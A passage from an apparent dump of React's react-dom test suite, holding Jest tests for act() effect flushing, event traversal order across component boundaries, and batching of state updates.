document.querySelector('[data-test-id=spinner]'),\n          ).not.toBeNull();\n\n          // now render regular content again\n          act(() => {\n            rerender(<App suspend={false} />);\n          });\n          expect(document.querySelector('[data-test-id=spinner]')).toBeNull();\n\n          // trigger a suspendy update with a delay\n          React.startTransition(() => {\n            act(() => {\n              rerender(<App suspend={true} />);\n            });\n          });\n\n          // In Concurrent Mode, refresh transitions delay indefinitely.\n          expect(document.querySelector('[data-test-id=spinner]')).toBeNull();\n\n          // resolve the promise\n          await act(async () => {\n            resolved = true;\n            resolve();\n          });\n\n          // spinner gone, content showing\n          expect(document.querySelector('[data-test-id=spinner]')).toBeNull();\n          expect(container.textContent).toBe('was suspended');\n        });\n      }\n    });\n  });\n}\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactTestUtilsActUnmockedScheduler-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n// sanity tests to make sure act() works without a mocked scheduler\n\nlet React;\nlet ReactDOMClient;\nlet act;\nlet container;\nlet yields;\nlet prevActGlobal;\n\nfunction clearLog() {\n  try {\n    return yields;\n  } finally {\n    yields = [];\n  }\n}\n\nbeforeEach(() => {\n  prevActGlobal = global.IS_REACT_ACT_ENVIRONMENT;\n  global.IS_REACT_ACT_ENVIRONMENT = true;\n  jest.resetModules();\n  jest.unmock('scheduler');\n  yields = [];\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  act = React.act;\n  container = document.createElement('div');\n  document.body.appendChild(container);\n});\n\nafterEach(() => {\n  global.IS_REACT_ACT_ENVIRONMENT = prevActGlobal;\n  document.body.removeChild(container);\n});\n\n// @gate __DEV__\ntest('can use act to flush effects', async () => {\n  function App() {\n    React.useEffect(() => {\n      yields.push(100);\n    });\n    return null;\n  }\n\n  const root = ReactDOMClient.createRoot(container);\n  await act(() => {\n    root.render(<App />);\n  });\n\n  expect(clearLog()).toEqual([100]);\n});\n\n// @gate __DEV__\ntest('flushes effects on every call', async () => {\n  function App() {\n    const [ctr, setCtr] = React.useState(0);\n    React.useEffect(() => {\n      yields.push(ctr);\n    });\n    return (\n      <button id=\"button\" onClick={() => setCtr(x => x + 1)}>\n        {ctr}\n      </button>\n    );\n  }\n\n  const root = ReactDOMClient.createRoot(container);\n  await act(() => {\n    root.render(<App />);\n  });\n\n  expect(clearLog()).toEqual([0]);\n\n  const button = container.querySelector('#button');\n  function click() {\n    button.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n  }\n\n  act(() => {\n    click();\n    click();\n    click();\n  });\n  // it consolidates the 3 updates, then fires the effect\n  expect(clearLog()).toEqual([3]);\n  act(click);\n  expect(clearLog()).toEqual([4]);\n  act(click);\n  expect(clearLog()).toEqual([5]);\n  expect(button.innerHTML).toEqual('5');\n});\n\n// @gate __DEV__\ntest(\"should keep flushing effects until they're done\", async () => {\n  function App() {\n    const [ctr, setCtr] = React.useState(0);\n    React.useEffect(() => {\n      if (ctr < 5) {\n        setCtr(x => x + 1);\n      }\n    });\n    return ctr;\n  }\n\n  const root = ReactDOMClient.createRoot(container);\n  await act(() => {\n    root.render(<App />);\n  });\n\n  expect(container.innerHTML).toEqual('5');\n});\n\n// @gate __DEV__\ntest('should flush effects only on exiting the outermost act', async () => {\n  function App() {\n    React.useEffect(() => {\n      yields.push(0);\n    });\n    return null;\n  }\n  const root = ReactDOMClient.createRoot(container);\n  // let's nest a couple of act() calls\n  await act(async () => {\n    await act(() => {\n      root.render(<App />);\n    });\n    // the effect wouldn't have yielded yet because\n    // we're still inside an act() scope\n    expect(clearLog()).toEqual([]);\n  });\n  // but after exiting the last one, effects get flushed\n  expect(clearLog()).toEqual([0]);\n});\n\n// @gate __DEV__\ntest('can handle cascading promises', async () => {\n  // this component triggers an effect, that waits a tick,\n  // then sets state. repeats this 5 times.\n  function App() {\n    const [state, setState] = React.useState(0);\n    async function ticker() {\n      await null;\n      await act(() => {\n        setState(x => x + 1);\n      });\n    }\n    React.useEffect(() => {\n      yields.push(state);\n      ticker();\n    }, [Math.min(state, 4)]);\n    return state;\n  }\n\n  const root = ReactDOMClient.createRoot(container);\n  await act(() => {\n    root.render(<App />);\n  });\n  // all 5 ticks present and accounted for\n  expect(clearLog()).toEqual([0, 1, 2, 3, 4]);\n  expect(container.innerHTML).toBe('5');\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactTreeTraversal-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\nlet root;\n\nconst ChildComponent = ({id, eventHandler}) => (\n  <div\n    id={id + '__DIV'}\n    onClickCapture={e => eventHandler(e.currentTarget.id, 'captured', e.type)}\n    onClick={e => eventHandler(e.currentTarget.id, 'bubbled', e.type)}\n    onMouseEnter={e => eventHandler(e.currentTarget.id, e.type)}\n    onMouseLeave={e => eventHandler(e.currentTarget.id, e.type)}>\n    <div\n      id={id + '__DIV_1'}\n      onClickCapture={e => eventHandler(e.currentTarget.id, 'captured', e.type)}\n      onClick={e => eventHandler(e.currentTarget.id, 'bubbled', e.type)}\n      onMouseEnter={e => eventHandler(e.currentTarget.id, e.type)}\n      onMouseLeave={e => eventHandler(e.currentTarget.id, e.type)}\n    />\n    <div\n      id={id + '__DIV_2'}\n      onClickCapture={e => eventHandler(e.currentTarget.id, 'captured', e.type)}\n      onClick={e => eventHandler(e.currentTarget.id, 'bubbled', e.type)}\n      onMouseEnter={e => eventHandler(e.currentTarget.id, e.type)}\n      onMouseLeave={e => eventHandler(e.currentTarget.id, e.type)}\n    />\n  </div>\n);\n\nconst ParentComponent = ({eventHandler}) => (\n  <div\n    id=\"P\"\n    onClickCapture={e => eventHandler(e.currentTarget.id, 'captured', e.type)}\n    onClick={e => eventHandler(e.currentTarget.id, 'bubbled', e.type)}\n    onMouseEnter={e => eventHandler(e.currentTarget.id, e.type)}\n    onMouseLeave={e => eventHandler(e.currentTarget.id, e.type)}>\n    <div\n      id=\"P_P1\"\n      onClickCapture={e => eventHandler(e.currentTarget.id, 'captured', e.type)}\n      onClick={e => eventHandler(e.currentTarget.id, 'bubbled', e.type)}\n      onMouseEnter={e => eventHandler(e.currentTarget.id, e.type)}\n      onMouseLeave={e => eventHandler(e.currentTarget.id, e.type)}>\n      <ChildComponent id=\"P_P1_C1\" eventHandler={eventHandler} />\n      <ChildComponent id=\"P_P1_C2\" eventHandler={eventHandler} />\n    </div>\n    <div\n      id=\"P_OneOff\"\n      onClickCapture={e => eventHandler(e.currentTarget.id, 'captured', e.type)}\n      onClick={e => eventHandler(e.currentTarget.id, 'bubbled', e.type)}\n      onMouseEnter={e => eventHandler(e.currentTarget.id, e.type)}\n      onMouseLeave={e => eventHandler(e.currentTarget.id, e.type)}\n    />\n  </div>\n);\n\ndescribe('ReactTreeTraversal', () => {\n  const mockFn = jest.fn();\n  let container;\n  let outerNode1;\n  let outerNode2;\n\n  beforeEach(async () => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n\n    mockFn.mockReset();\n\n    container = document.createElement('div');\n    outerNode1 = document.createElement('div');\n    outerNode2 = document.createElement('div');\n    document.body.appendChild(container);\n    document.body.appendChild(outerNode1);\n    document.body.appendChild(outerNode2);\n\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<ParentComponent eventHandler={mockFn} />);\n    });\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    document.body.removeChild(outerNode1);\n    document.body.removeChild(outerNode2);\n    container = null;\n    outerNode1 = null;\n    outerNode2 = null;\n  });\n\n  describe('Two phase traversal', () => {\n    it('should not traverse when target is outside component boundary', () => {\n      outerNode1.dispatchEvent(\n        new MouseEvent('click', {bubbles: true, cancelable: true}),\n      );\n\n      expect(mockFn).not.toHaveBeenCalled();\n    });\n\n    it('should traverse two phase across component boundary', () => {\n      const expectedCalls = [\n        ['P', 'captured', 'click'],\n        ['P_P1', 'captured', 'click'],\n        ['P_P1_C1__DIV', 'captured', 'click'],\n        ['P_P1_C1__DIV_1', 'captured', 'click'],\n\n        ['P_P1_C1__DIV_1', 'bubbled', 'click'],\n        ['P_P1_C1__DIV', 'bubbled', 'click'],\n        ['P_P1', 'bubbled', 'click'],\n        ['P', 'bubbled', 'click'],\n      ];\n\n      const node = document.getElementById('P_P1_C1__DIV_1');\n      node.dispatchEvent(\n        new MouseEvent('click', {bubbles: true, cancelable: true}),\n      );\n\n      expect(mockFn.mock.calls).toEqual(expectedCalls);\n    });\n\n    it('should traverse two phase at shallowest node', () => {\n      const node = document.getElementById('P');\n      node.dispatchEvent(\n        new MouseEvent('click', {bubbles: true, cancelable: true}),\n      );\n\n      const expectedCalls = [\n        ['P', 'captured', 'click'],\n        ['P', 'bubbled', 'click'],\n      ];\n      expect(mockFn.mock.calls).toEqual(expectedCalls);\n    });\n  });\n\n  describe('Enter leave traversal', () => {\n    it('should not traverse when enter/leaving outside DOM', () => {\n      outerNode1.dispatchEvent(\n        new MouseEvent('mouseout', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: outerNode2,\n        }),\n      );\n\n      expect(mockFn).not.toHaveBeenCalled();\n    });\n\n    it('should not traverse if enter/leave the same node', () => {\n      const leaveNode = document.getElementById('P_P1_C1__DIV_1');\n      const enterNode = document.getElementById('P_P1_C1__DIV_1');\n\n      leaveNode.dispatchEvent(\n        new MouseEvent('mouseout', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: enterNode,\n        }),\n      );\n\n      expect(mockFn).not.toHaveBeenCalled();\n    });\n\n    it('should traverse enter/leave to sibling - avoids parent', () => {\n      const leaveNode = document.getElementById('P_P1_C1__DIV_1');\n      const enterNode = document.getElementById('P_P1_C1__DIV_2');\n\n      const expectedCalls = [\n        ['P_P1_C1__DIV_1', 'mouseleave'],\n        // enter/leave shouldn't fire anything on the parent\n        ['P_P1_C1__DIV_2', 'mouseenter'],\n      ];\n\n      leaveNode.dispatchEvent(\n        new MouseEvent('mouseout', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: enterNode,\n        }),\n      );\n\n      expect(mockFn.mock.calls).toEqual(expectedCalls);\n    });\n\n    it('should traverse enter/leave to parent - avoids parent', () => {\n      const leaveNode = document.getElementById('P_P1_C1__DIV_1');\n      const enterNode = document.getElementById('P_P1_C1__DIV');\n\n      const expectedCalls = [['P_P1_C1__DIV_1', 'mouseleave']];\n\n      leaveNode.dispatchEvent(\n        new MouseEvent('mouseout', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: enterNode,\n        }),\n      );\n\n      expect(mockFn.mock.calls).toEqual(expectedCalls);\n    });\n\n    // The modern event system attaches event listeners to roots so the\n    // event below is being triggered on a node that React does not listen\n    // to any more. Instead we should fire mouseover.\n    it('should enter from the window', () => {\n      const enterNode = document.getElementById('P_P1_C1__DIV');\n\n      const expectedCalls = [\n        ['P', 'mouseenter'],\n        ['P_P1', 'mouseenter'],\n        ['P_P1_C1__DIV', 'mouseenter'],\n      ];\n\n      enterNode.dispatchEvent(\n        new MouseEvent('mouseover', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: outerNode1,\n        }),\n      );\n\n      expect(mockFn.mock.calls).toEqual(expectedCalls);\n    });\n\n    it('should enter from the window to the shallowest', () => {\n      const enterNode = document.getElementById('P');\n\n      const expectedCalls = [['P', 'mouseenter']];\n\n      enterNode.dispatchEvent(\n        new MouseEvent('mouseover', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: outerNode1,\n        }),\n      );\n\n      expect(mockFn.mock.calls).toEqual(expectedCalls);\n    });\n\n    it('should leave to the window', () => {\n      const leaveNode = document.getElementById('P_P1_C1__DIV');\n\n      const expectedCalls = [\n        ['P_P1_C1__DIV', 'mouseleave'],\n        ['P_P1', 'mouseleave'],\n        ['P', 'mouseleave'],\n      ];\n\n      leaveNode.dispatchEvent(\n        new MouseEvent('mouseout', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: outerNode1,\n        }),\n      );\n\n      expect(mockFn.mock.calls).toEqual(expectedCalls);\n    });\n\n    it('should leave to the window from the shallowest', () => {\n      const leaveNode = document.getElementById('P');\n\n      const expectedCalls = [['P', 'mouseleave']];\n\n      leaveNode.dispatchEvent(\n        new MouseEvent('mouseout', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: outerNode1,\n        }),\n      );\n\n      expect(mockFn.mock.calls).toEqual(expectedCalls);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactUpdates-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet findDOMNode;\nlet ReactDOMClient;\nlet act;\nlet Scheduler;\nlet waitForAll;\nlet waitFor;\nlet assertLog;\nlet assertConsoleErrorDev;\n\nfunction normalizeCodeLocInfo(str) {\n  return (\n    str &&\n    str.replace(/^ +(?:at|in) ([\\S]+)[^\\n]*/gm, function (m, name) {\n      const dot = name.lastIndexOf('.');\n      if (dot !== -1) {\n        name = name.slice(dot + 1);\n      }\n      return '    in ' + name + (/\\d/.test(m) ? ' (at **)' : '');\n    })\n  );\n}\n\ndescribe('ReactUpdates', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    findDOMNode =\n      ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\n        .findDOMNode;\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    assertLog = InternalTestUtils.assertLog;\n  });\n\n  // Note: This is based on a similar component we use in www. We can delete\n  // once the extra div wrapper is no longer necessary.\n  function LegacyHiddenDiv({children, mode}) {\n    return (\n      <div hidden={mode === 'hidden'}>\n        <React.unstable_LegacyHidden\n          mode={mode === 'hidden' ? 'unstable-defer-without-hiding' : mode}>\n          {children}\n        </React.unstable_LegacyHidden>\n      </div>\n    );\n  }\n\n  it('should batch state when updating state twice', async () => {\n    let componentState;\n    let setState;\n\n    function Component() {\n      const [state, _setState] = React.useState(0);\n      componentState = state;\n      setState = _setState;\n      React.useLayoutEffect(() => {\n        Scheduler.log('Commit');\n      });\n\n      return <div>{state}</div>;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component />);\n    });\n\n    assertLog(['Commit']);\n    expect(container.firstChild.textContent).toBe('0');\n\n    await act(() => {\n      setState(1);\n      setState(2);\n      expect(componentState).toBe(0);\n      expect(container.firstChild.textContent).toBe('0');\n      assertLog([]);\n    });\n\n    expect(componentState).toBe(2);\n    assertLog(['Commit']);\n    expect(container.firstChild.textContent).toBe('2');\n  });\n\n  it('should batch state when updating two different states', async () => {\n    let componentStateA;\n    let componentStateB;\n    let setStateA;\n    let setStateB;\n\n    function Component() {\n      const [stateA, _setStateA] = React.useState(0);\n      const [stateB, _setStateB] = React.useState(0);\n      componentStateA = stateA;\n      componentStateB = stateB;\n      setStateA = _setStateA;\n      setStateB = _setStateB;\n\n      React.useLayoutEffect(() => {\n        Scheduler.log('Commit');\n      });\n\n      return (\n        <div>\n          {stateA} {stateB}\n        </div>\n      );\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component />);\n    });\n\n    assertLog(['Commit']);\n    expect(container.firstChild.textContent).toBe('0 0');\n\n    await act(() => {\n      setStateA(1);\n      setStateB(2);\n      expect(componentStateA).toBe(0);\n      expect(componentStateB).toBe(0);\n      expect(container.firstChild.textContent).toBe('0 0');\n      assertLog([]);\n    });\n\n    expect(componentStateA).toBe(1);\n    expect(componentStateB).toBe(2);\n    assertLog(['Commit']);\n    expect(container.firstChild.textContent).toBe('1 2');\n  });\n\n  it('should batch state and props together', async () => {\n    let setState;\n    let componentProp;\n    let componentState;\n\n    function Component({prop}) {\n      const [state, _setState] = React.useState(0);\n      componentProp = prop;\n      componentState = state;\n      setState = _setState;\n\n      React.useLayoutEffect(() => {\n        Scheduler.log('Commit');\n      });\n\n      return (\n        <div>\n          {prop} {state}\n        </div>\n      );\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component prop={0} />);\n    });\n\n    assertLog(['Commit']);\n    expect(container.firstChild.textContent).toBe('0 0');\n\n    await act(() => {\n      root.render(<Component prop={1} />);\n      setState(2);\n      expect(componentProp).toBe(0);\n      expect(componentState).toBe(0);\n      expect(container.firstChild.textContent).toBe('0 0');\n      assertLog([]);\n    });\n\n    expect(componentProp).toBe(1);\n    expect(componentState).toBe(2);\n    assertLog(['Commit']);\n    expect(container.firstChild.textContent).toBe('1 2');\n  });\n\n  it('should batch parent/child state updates together', async () => {\n    let childRef;\n    let parentState;\n    let childState;\n    let setParentState;\n    let setChildState;\n\n    function Parent() {\n      const [state, _setState] = React.useState(0);\n      parentState = state;\n      setParentState = _setState;\n\n      React.useLayoutEffect(() => {\n        Scheduler.log('Parent Commit');\n      });\n\n      return (\n        <div>\n          <Child prop={state} />\n        </div>\n      );\n    }\n\n    function Child({prop}) {\n      const [state, _setState] = React.useState(0);\n      childState = state;\n      setChildState = _setState;\n\n      React.useLayoutEffect(() => {\n        Scheduler.log('Child Commit');\n      });\n\n      return (\n        <div\n          ref={ref => {\n            childRef = ref;\n          }}>\n          {prop} {state}\n        </div>\n      );\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent />);\n    });\n\n    assertLog(['Child Commit', 'Parent Commit']);\n    expect(childRef.textContent).toBe('0 0');\n\n    await act(() => {\n      // Parent update first.\n      setParentState(1);\n      setChildState(2);\n      expect(parentState).toBe(0);\n      expect(childState).toBe(0);\n      expect(childRef.textContent).toBe('0 0');\n      assertLog([]);\n    });\n\n    expect(parentState).toBe(1);\n    expect(childState).toBe(2);\n    expect(childRef.textContent).toBe('1 2');\n    assertLog(['Child Commit', 'Parent Commit']);\n  });\n\n  it('should batch child/parent state updates together', async () => {\n    let childRef;\n    let parentState;\n    let childState;\n    let setParentState;\n    let setChildState;\n\n    function Parent() {\n      const [state, _setState] = React.useState(0);\n      parentState = state;\n      setParentState = _setState;\n\n      React.useLayoutEffect(() => {\n        Scheduler.log('Parent Commit');\n      });\n\n      return (\n        <div>\n          <Child prop={state} />\n        </div>\n      );\n    }\n\n    function Child({prop}) {\n      const [state, _setState] = React.useState(0);\n      childState = state;\n      setChildState = _setState;\n\n      React.useLayoutEffect(() => {\n        Scheduler.log('Child Commit');\n      });\n\n      return (\n        <div\n          ref={ref => {\n            childRef = ref;\n          }}>\n          {prop} {state}\n        </div>\n      );\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent />);\n    });\n\n    assertLog(['Child Commit', 'Parent Commit']);\n    expect(childRef.textContent).toBe('0 0');\n\n    await act(() => {\n      // Child update first.\n      setChildState(2);\n      setParentState(1);\n      expect(parentState).toBe(0);\n      expect(childState).toBe(0);\n      expect(childRef.textContent).toBe('0 0');\n      assertLog([]);\n    });\n\n    expect(parentState).toBe(1);\n    expect(childState).toBe(2);\n    expect(childRef.textContent).toBe('1 2');\n    assertLog(['Child Commit', 'Parent Commit']);\n  });\n\n  it('should support chained state updates', async () => {\n    let instance;\n    class Component extends React.Component {\n      state = {x: 0};\n      constructor(props) {\n        super(props);\n        instance = this;\n      }\n\n      componentDidUpdate() {\n        Scheduler.log('Update');\n      }\n\n      render() {\n        return <div>{this.state.x}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component />);\n    });\n\n    expect(instance.state.x).toBe(0);\n    expect(container.firstChild.textContent).toBe('0');\n\n    let innerCallbackRun = false;\n    await act(() => {\n      instance.setState({x: 1}, function () {\n        instance.setState({x: 2}, function () {\n          innerCallbackRun = true;\n          expect(instance.state.x).toBe(2);\n          expect(container.firstChild.textContent).toBe('2');\n          assertLog(['Update']);\n        });\n        expect(instance.state.x).toBe(1);\n        expect(container.firstChild.textContent).toBe('1');\n        assertLog(['Update']);\n      });\n      expect(instance.state.x).toBe(0);\n      expect(container.firstChild.textContent).toBe('0');\n      assertLog([]);\n    });\n\n    assertLog([]);\n    expect(instance.state.x).toBe(2);\n    expect(innerCallbackRun).toBeTruthy();\n    expect(container.firstChild.textContent).toBe('2');\n  });\n\n  it('should batch forceUpdate together', async () => {\n    let instance;\n    let shouldUpdateCount = 0;\n    class Component extends React.Component {\n      state = {x: 0};\n\n      constructor(props) {\n        super(props);\n        instance = this;\n      }\n      shouldComponentUpdate() {\n        shouldUpdateCount++;\n      }\n\n      componentDidUpdate() {\n        Scheduler.log('Update');\n      }\n\n      render() {\n        return <div>{this.state.x}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component />);\n    });\n\n    assertLog([]);\n    expect(instance.state.x).toBe(0);\n\n    await act(() => {\n      instance.setState({x: 1}, function () {\n        Scheduler.log('callback');\n      });\n      instance.forceUpdate(function () {\n        Scheduler.log('forceUpdate');\n      });\n      assertLog([]);\n      expect(instance.state.x).toBe(0);\n      expect(container.firstChild.textContent).toBe('0');\n    });\n\n    // shouldComponentUpdate shouldn't be called since we're forcing\n    expect(shouldUpdateCount).toBe(0);\n    assertLog(['Update', 'callback', 'forceUpdate']);\n    expect(instance.state.x).toBe(1);\n    expect(container.firstChild.textContent).toBe('1');\n  });\n\n  it('should update children even if parent blocks updates', async () => {\n    let instance;\n    class Parent extends React.Component {\n      childRef = React.createRef();\n\n      constructor(props) {\n        super(props);\n        instance = this;\n      }\n      shouldComponentUpdate() {\n        return false;\n      }\n\n      render() {\n        Scheduler.log('Parent render');\n        return <Child ref={this.childRef} />;\n      }\n    }\n\n    class Child extends React.Component {\n      render() {\n        Scheduler.log('Child render');\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent />);\n    });\n\n    assertLog(['Parent render', 'Child render']);\n\n    await act(() => {\n      instance.setState({x: 1});\n    });\n\n    assertLog([]);\n\n    await act(() => {\n      instance.childRef.current.setState({x: 1});\n    });\n\n    assertLog(['Child render']);\n  });\n\n  it('should not reconcile children passed via props', async () => {\n    class Top extends React.Component {\n      render() {\n        return (\n          <Middle>\n            <Bottom />\n          </Middle>\n        );\n      }\n    }\n\n    class Middle extends React.Component {\n      componentDidMount() {\n        this.forceUpdate();\n      }\n\n      render() {\n        Scheduler.log('Middle');\n        return React.Children.only(this.props.children);\n      }\n    }\n\n    class Bottom extends React.Component {\n      render() {\n        Scheduler.log('Bottom');\n        return null;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Top />);\n    });\n\n    assertLog(['Middle', 'Bottom', 'Middle']);\n  });\n\n  it('should flow updates correctly', async () => {\n    let willUpdates = [];\n    let didUpdates = [];\n    let instance;\n\n    const UpdateLoggingMixin = {\n      UNSAFE_componentWillUpdate: function () {\n        willUpdates.push(this.constructor.displayName);\n      },\n      componentDidUpdate: function () {\n        didUpdates.push(this.constructor.displayName);\n      },\n    };\n\n    class Box extends React.Component {\n      boxDivRef = React.createRef();\n\n      render() {\n        return <div ref={this.boxDivRef}>{this.props.children}</div>;\n      }\n    }\n    Object.assign(Box.prototype, UpdateLoggingMixin);\n\n    class Child extends React.Component {\n      spanRef = React.createRef();\n\n      render() {\n        return <span ref={this.spanRef}>child</span>;\n      }\n    }\n    Object.assign(Child.prototype, UpdateLoggingMixin);\n\n    class Switcher extends React.Component {\n      state = {tabKey: 'hello'};\n      boxRef = React.createRef();\n      switcherDivRef = React.createRef();\n      render() {\n        const child = this.props.children;\n\n        return (\n          <Box ref={this.boxRef}>\n            <div\n              ref={this.switcherDivRef}\n              style={{\n                display: this.state.tabKey === child.key ? '' : 'none',\n              }}>\n              {child}\n            </div>\n          </Box>\n        );\n      }\n    }\n    Object.assign(Switcher.prototype, UpdateLoggingMixin);\n\n    class App extends React.Component {\n      switcherRef = React.createRef();\n      childRef = React.createRef();\n      constructor(props) {\n        super(props);\n        instance = this;\n      }\n      render() {\n        return (\n          <Switcher ref={this.switcherRef}>\n            <Child key=\"hello\" ref={this.childRef} />\n          </Switcher>\n        );\n      }\n    }\n    Object.assign(App.prototype, UpdateLoggingMixin);\n\n    const container = document.createElement('div');\n    await act(() => {\n      ReactDOMClient.createRoot(container).render(<App />);\n    });\n\n    function expectUpdates(desiredWillUpdates, desiredDidUpdates) {\n      let i;\n      for (i = 0; i < desiredWillUpdates; i++) {\n        expect(willUpdates).toContain(desiredWillUpdates[i]);\n      }\n      for (i = 0; i < desiredDidUpdates; i++) {\n        expect(didUpdates).toContain(desiredDidUpdates[i]);\n      }\n      willUpdates = [];\n      didUpdates = [];\n    }\n\n    function triggerUpdate(c) {\n      c.setState({x: 1});\n    }\n\n    async function testUpdates(\n      components,\n      desiredWillUpdates,\n      desiredDidUpdates,\n    ) {\n      let i;\n\n      await act(() => {\n        for (i = 0; i < components.length; i++) {\n          triggerUpdate(components[i]);\n        }\n      });\n\n      expectUpdates(desiredWillUpdates, desiredDidUpdates);\n\n      // Try them in reverse order\n\n      await act(() => {\n        for (i = components.length - 1; i >= 0; i--) {\n          triggerUpdate(components[i]);\n        }\n      });\n\n      expectUpdates(desiredWillUpdates, desiredDidUpdates);\n    }\n    await testUpdates(\n      [\n        instance.switcherRef.current.boxRef.current,\n        instance.switcherRef.current,\n      ],\n      // Owner-child relationships have inverse will and did\n      ['Switcher', 'Box'],\n      ['Box', 'Switcher'],\n    );\n\n    await testUpdates(\n      [instance.childRef.current, instance.switcherRef.current.boxRef.current],\n      // Not owner-child so reconcile independently\n      ['Box', 'Child'],\n      ['Box', 'Child'],\n    );\n\n    await testUpdates(\n      [instance.childRef.current, instance.switcherRef.current],\n      // Switcher owns Box and Child, Box does not own Child\n      ['Switcher', 'Box', 'Child'],\n      ['Box', 'Switcher', 'Child'],\n    );\n  });\n\n  it('should queue mount-ready handlers across different roots', async () => {\n    // We'll define two components A and B, then update both of them. When A's\n    // componentDidUpdate handlers is called, B's DOM should already have been\n    // updated.\n\n    const bContainer = document.createElement('div');\n    let a;\n    let b;\n\n    let aUpdated = false;\n\n    class A extends React.Component {\n      state = {x: 0};\n      constructor(props) {\n        super(props);\n        a = this;\n      }\n      componentDidUpdate() {\n        expect(findDOMNode(b).textContent).toBe('B1');\n        aUpdated = true;\n      }\n\n      render() {\n        let portal = null;\n        portal = ReactDOM.createPortal(<B ref={n => (b = n)} />, bContainer);\n        return (\n          <div>\n            A{this.state.x}\n            {portal}\n          </div>\n        );\n      }\n    }\n\n    class B extends React.Component {\n      state = {x: 0};\n\n      render() {\n        return <div>B{this.state.x}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<A />);\n    });\n\n    await act(() => {\n      a.setState({x: 1});\n      b.setState({x: 1});\n    });\n\n    expect(aUpdated).toBe(true);\n  });\n\n  it('should flush updates in the correct order', async () => {\n    const updates = [];\n    let instance;\n    class Outer extends React.Component {\n      state = {x: 0};\n      innerRef = React.createRef();\n      constructor(props) {\n        super(props);\n        instance = this;\n      }\n      render() {\n        updates.push('Outer-render-' + this.state.x);\n        return (\n          <div>\n            <Inner x={this.state.x} ref={this.innerRef} />\n          </div>\n        );\n      }\n\n      componentDidUpdate() {\n        const x = this.state.x;\n        updates.push('Outer-didUpdate-' + x);\n        updates.push('Inner-setState-' + x);\n        this.innerRef.current.setState({x: x}, function () {\n          updates.push('Inner-callback-' + x);\n        });\n      }\n    }\n\n    class Inner extends React.Component {\n      state = {x: 0};\n\n      render() {\n        updates.push('Inner-render-' + this.props.x + '-' + this.state.x);\n        return <div />;\n      }\n\n      componentDidUpdate() {\n        updates.push('Inner-didUpdate-' + this.props.x + '-' + this.state.x);\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Outer />);\n    });\n\n    await act(() => {\n      updates.push('Outer-setState-1');\n      instance.setState({x: 1}, function () {\n        updates.push('Outer-callback-1');\n        updates.push('Outer-setState-2');\n        instance.setState({x: 2}, function () {\n          updates.push('Outer-callback-2');\n        });\n      });\n    });\n\n    expect(updates).toEqual([\n      'Outer-render-0',\n      'Inner-render-0-0',\n\n      'Outer-setState-1',\n      'Outer-render-1',\n      'Inner-render-1-0',\n      'Inner-didUpdate-1-0',\n      'Outer-didUpdate-1',\n      // Happens in a batch, so don't re-render yet\n      'Inner-setState-1',\n      'Outer-callback-1',\n\n      // Happens in a batch\n      'Outer-setState-2',\n\n      // Flush batched updates all at once\n      'Outer-render-2',\n      'Inner-render-2-1',\n      'Inner-didUpdate-2-1',\n      'Inner-callback-1',\n      'Outer-didUpdate-2',\n      'Inner-setState-2',\n      'Outer-callback-2',\n      